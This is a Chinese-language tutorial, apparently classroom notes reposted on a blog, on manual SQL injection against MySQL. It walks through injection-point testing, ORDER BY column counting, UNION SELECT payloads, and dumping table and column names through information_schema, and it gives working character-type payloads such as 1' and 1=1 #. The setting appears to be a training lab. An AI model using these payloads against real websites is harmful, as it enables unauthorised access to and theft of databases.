1、輸入1' 發現資料庫報錯,原因是我們的輸入直接被代入到資料庫查詢陳述句里面,
2、有沒有辦法可以不讓他報錯呢?可以嘗試一下構造正確的資料庫語法,使之不報錯,比如輸入 1 and 1=1 試試
select * from wuser where id = 1 and 1=1; 1=1永遠成立,id=1也是同樣存在,所以這個查詢不會報錯,會輸出正確資訊,
然后嘗試 id = 1 and 1=2 ,結果不顯示,說明我們構造的陳述句成功在資料庫中執行了,
3、成功執行后,僅僅是跟正常查詢顯示相同的內容,那有沒有辦法可以顯示其他內容呢?我們在mysql中使用union select來實作,
union select的作用是拼接在正確資料庫查詢陳述句后面進行聯合查詢,union select查詢的欄位數一定跟主查詢的欄位數一致,
比如 select id ,user ,pass from wuser 這是主查詢,查詢的欄位是3個,所以后面的union select的查詢欄位一定也是3個,
select * from wuser where id = 1 union select 1,2,3;
4、union select查詢成功后顯示的還是沒有變,其原因是主查詢也成功回傳了結果,而頁面上只顯示了回傳結果的第一行,因此要想看到union select的結果,需要令第一行也就是主查詢的結果為空,常用的辦法就是把主查詢的1改成-1.
5、mysql中有幾個默認自帶的庫和查詢函式,我們就可以使用這些來查出資料庫中所有的內容,
自帶的函式有:database(),version(),user()
自帶的庫有:information_schema,此庫只有mysql5.0以后的版本才有,
在之前union select顯示的數字位置,將數字替換成查詢
union 查詢的一般步驟:
1、通過and 1=1,and 1=2的輸入,來判斷是否存在注入點,如果結果不一致,說明我們輸入的陳述句被資料庫執行了,
2、通過觀察或報錯資訊來判定輸入點的資料型別,數字型,字符型,搜索型
3、使用order by來確定主查詢數目,orderby本質上是一個排序的語法,但是order by有個條件,就是排序必須建立在正確的主查詢條數上,所以在注入中用order by并不是為了排序,而是為了確認主查詢的條數,確保union select的查詢數與主查詢一致,order by只會在超出主查詢列數后才會報錯,小于或等于主查詢列數不報錯,
4、使用union select 查詢,將主查詢項改成負數或不存在,select * from wuser where id = -1 union select 1,2,3
5、在顯示的數字位置上,替換對應的查詢陳述句,database(),version(),user()
6、使用information_schema進行所有內容查詢,以下用課堂上的查詢來舉例:
a.使用database()得知當前的庫名:woniu
b.根據庫名列出所有的表名:SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = "庫名"
-1 union select 1,(SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = "woniu"),3
c.根據庫名woniu 表名 wstu 列出所有的列名:num,name,age
SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = "庫名" AND TABLE_NAME = "表名"
d、知道表名和列名,可以直接查出表的內容
select group_concat(num) from wstu;select group_concat(name) from wstu;select group_concat(age) from wstu;
字符型注入:
字符型和數字型原理一樣,只是需要注意下語法規范問題,
正常數字查詢:select * from wuser where id = 1;
字符查詢:select * from wuser where id = '1';
字符型的注入陳述句就變成 select * from wuser where id = '1 and 1=1'; 發現我們輸入的內容都被包裹在單引號內,不能執行我們想要的sql陳述句,因此就要想辦法去構造payload來脫離單引號包裹,
字符型注入的payload: id = 1' and 1=1 #
在sql查詢中就變成了 select * from wuser where id = '1' and 1=1#'
我們通過自己添加的單引號跟原有的第一個單引號閉合,然后執行我們的sql注入陳述句,原來的第二個單引號因為無法處理,所以用#注釋掉,
最終形成 select * from wuser where id ='1' and 1=1
在mysql中注釋符有兩種:#和--空格,通常我們在頁面上使用話,要轉換成url編碼,#轉換成%23,--空格轉換成--+
判定字符型注入和數字型注入的區別:
輸入單引號報錯后將報錯資訊取出進行比對,
報錯的是:''1''' ,首先去掉報錯文本的單引號-》'1''->去掉我們的輸入1'-》'' ,發現剩下一對單引號,說明是字符型
報錯的是:'1'',首先去掉報錯文本的單引號-》1'->去掉我們的輸入1'-》 ,發現沒有引號留下,說明是數字型
字符型不一定就是單引號,也有雙引號,也有括號等等,就要根據實際的報錯情況去試探出查詢的語法,
搜索型和字符型的用法相同,也是要考慮到閉合和注釋的,
搜索型的語法一般是:select * from wuser where id like '%1%';
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/6602.html
標籤:其他
上一篇:sentry SSRF
下一篇:sqlmap基本使用
